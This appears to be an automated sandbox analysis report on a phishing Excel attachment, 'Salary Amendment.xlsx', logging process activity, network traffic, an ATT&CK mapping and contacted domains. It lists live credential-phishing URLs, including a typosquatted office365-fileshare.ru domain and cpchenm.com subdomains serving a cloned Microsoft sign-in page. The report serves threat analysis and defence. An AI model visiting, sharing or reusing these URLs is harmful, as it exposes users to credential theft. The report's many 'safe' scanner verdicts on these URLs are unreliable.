Source: unknown	Network traffic detected: HTTP traffic on port 49223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49250
Source: unknown	Network traffic detected: HTTP traffic on port 49249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49244
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49240
Source: unknown	Network traffic detected: HTTP traffic on port 49248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49239
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49234
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown	Network traffic detected: HTTP traffic on port 49229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49229
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49228
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 443

Source: classification engine

Classification label: mal60.phis.winXLSX@21/77@40/5

Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Salary Amendment.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR759C.tmp

Jump to behavior

Source: Salary Amendment.xlsx	OLE indicator, Workbook stream: true
Source: 08130000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1460 --field-trial-handle=1256,i,4668756593095259498,3405169372683780548,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" "https://ctrk.klclick3.com/l/01JCCYDGBH0W36M8EY4KEBXJ1V_0"
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1460 --field-trial-handle=1256,i,4668756593095259498,3405169372683780548,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Salary Amendment.xlsx	Initial sample: OLE zip file path = xl/media/image1.png
Source: 08130000.0.dr	Initial sample: OLE zip file path = xl/media/image1.png

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\GoogleUpdater	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\chrome_BITS_3388_848746092	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: Salary Amendment.xlsx

Initial sample: OLE indicators vbamacros = False

Persistence and Installation Behavior

AI detected suspicious URL

Source: Email	JoeBoxAI: AI detected Brand spoofing attempt in URL: URL: https://office365-fileshare.ru
Source: Email	JoeBoxAI: AI detected Typosquatting in URL: URL: https://office365-fileshare.ru

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	1 File and Directory Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Salary Amendment.xlsx	0%	ReversingLabs

Source	Detection	Scanner	Label
https://office365-fileshare.ru/favicon.ico	0%	Avira URL Cloud	safe
https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw	0%	Avira URL Cloud	safe
https://tvrcehrvetbr.cpchenm.com/Me.htm?v=3	0%	Avira URL Cloud	safe
https://tvrceroweri.cpchenm.com	0%	Avira URL Cloud	safe
https://office365-fileshare.ru/?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	0%	Avira URL Cloud	safe
https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js	0%	Avira URL Cloud	safe
https://office365-fileshare.ru/EDlbZQWABA/afSeiRqtowoOBCYGXGnQytorJGnjuUfMDNo	0%	Avira URL Cloud	safe
https://device.tvrceocprq.cpchenm.com	0%	Avira URL Cloud	safe
https://tvrceocprq.cpchenm.com	0%	Avira URL Cloud	safe
https://tvrceocprq.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js	0%	Avira URL Cloud	safe
https://tvrceocprq.cpchenm.com/favicon.ico	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js	0%	Avira URL Cloud	safe
https://office365-fileshare.ru/LRkpLmIajJQMupJl/GMqRpTWbQktO/QFVnZbXmdvGgeNYqrZNoanjXqOMqCKolixf/ycpUInBVOQ	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg	0%	Avira URL Cloud	safe
https://tvrceocprq.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	0%	Avira URL Cloud	safe
https://tvrceusocprq.cpchenm.com	0%	Avira URL Cloud	safe
https://tvrcemejeff.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js	0%	Avira URL Cloud	safe
https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/mIiGTMdiACicIABMIHEMfbYsCBIflcd/wJpuLiRlIELAizqiWEEeCvJHDDglShGidrsQuKAYzI/FdYTZeRwgBHCeAjorlTivuLNqoeh	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js	0%	Avira URL Cloud	safe
https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/VpduxMZR/CVxsLDkgOWkSLKgVWLRDE/CNRdWuejutMeOe	0%	Avira URL Cloud	safe
https://tvrcemejeff.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js	0%	Avira URL Cloud	safe
https://tvrceocprq.cpchenm.com/common/handlers/watson	0%	Avira URL Cloud	safe
https://tvrcemeheff.cpchenm.com/owa/?	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://cpchenm.com/BYMURbys.0.0.1	0%	Avira URL Cloud	safe
https://tvrcemejeff.cpchenm.com/owa/prefetch.aspx	0%	Avira URL Cloud	safe
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cpchenm.com	2.59.163.43	true	false	unknown
tvrcedjrhte.cpchenm.com	2.59.163.43	true	false	unknown
tvrcehrvetbr.cpchenm.com	2.59.163.43	true	false	unknown
tvrceocprq.cpchenm.com	2.59.163.43	true	false	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.186.100	true	false	high
tvrcemejeff.cpchenm.com	2.59.163.43	true	false	unknown
office365-fileshare.ru	188.114.97.3	true	true	unknown
tvrcemeheff.cpchenm.com	2.59.163.43	true	false	unknown
r4.res.office365.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
ctrk.klclick3.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://office365-fileshare.ru/?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/appbackgrounds/49-small_2055002f2daae2ed8f69f03944c0e5d9.jpg	false	Avira URL Cloud: safe	unknown
https://office365-fileshare.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw	false	Avira URL Cloud: safe	unknown
https://tvrcehrvetbr.cpchenm.com/Me.htm?v=3	false	Avira URL Cloud: safe	unknown
https://office365-fileshare.ru/EDlbZQWABA/afSeiRqtowoOBCYGXGnQytorJGnjuUfMDNo	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489.js	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	true		unknown
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js	false	Avira URL Cloud: safe	unknown
https://office365-fileshare.ru/LRkpLmIajJQMupJl/GMqRpTWbQktO/QFVnZbXmdvGgeNYqrZNoanjXqOMqCKolixf/ycpUInBVOQ	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg	false	Avira URL Cloud: safe	unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	false	Avira URL Cloud: safe	unknown
https://office365-fileshare.ru/LRkpLmIajJQMupJl/muUKZumHSauUPQAUTNdXGinnGykxWedqtUjvNiqDQizHBOf?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	false		unknown
https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js	false	Avira URL Cloud: safe	unknown
https://tvrcemejeff.cpchenm.com/24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js	false	Avira URL Cloud: safe	unknown
https://office365-fileshare.ru/LRkpLmIajJQMupJl/YoJnCCuSWjPniRIM/QmogppZGcJknpWsepXGOQNmkjuufsteqSsOBzxyyPrNzmMGdL/mIiGTMdiACicIABMIHEMfbYsCBIflcd/wJpuLiRlIELAizqiWEEeCvJHDDglShGidrsQuKAYzI/FdYTZeRwgBHCeAjorlTivuLNqoeh	false	Avira URL Cloud: safe	unknown
https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	true		unknown
https://tvrceocprq.cpchenm.com/common/handlers/watson	false	Avira URL Cloud: safe	unknown
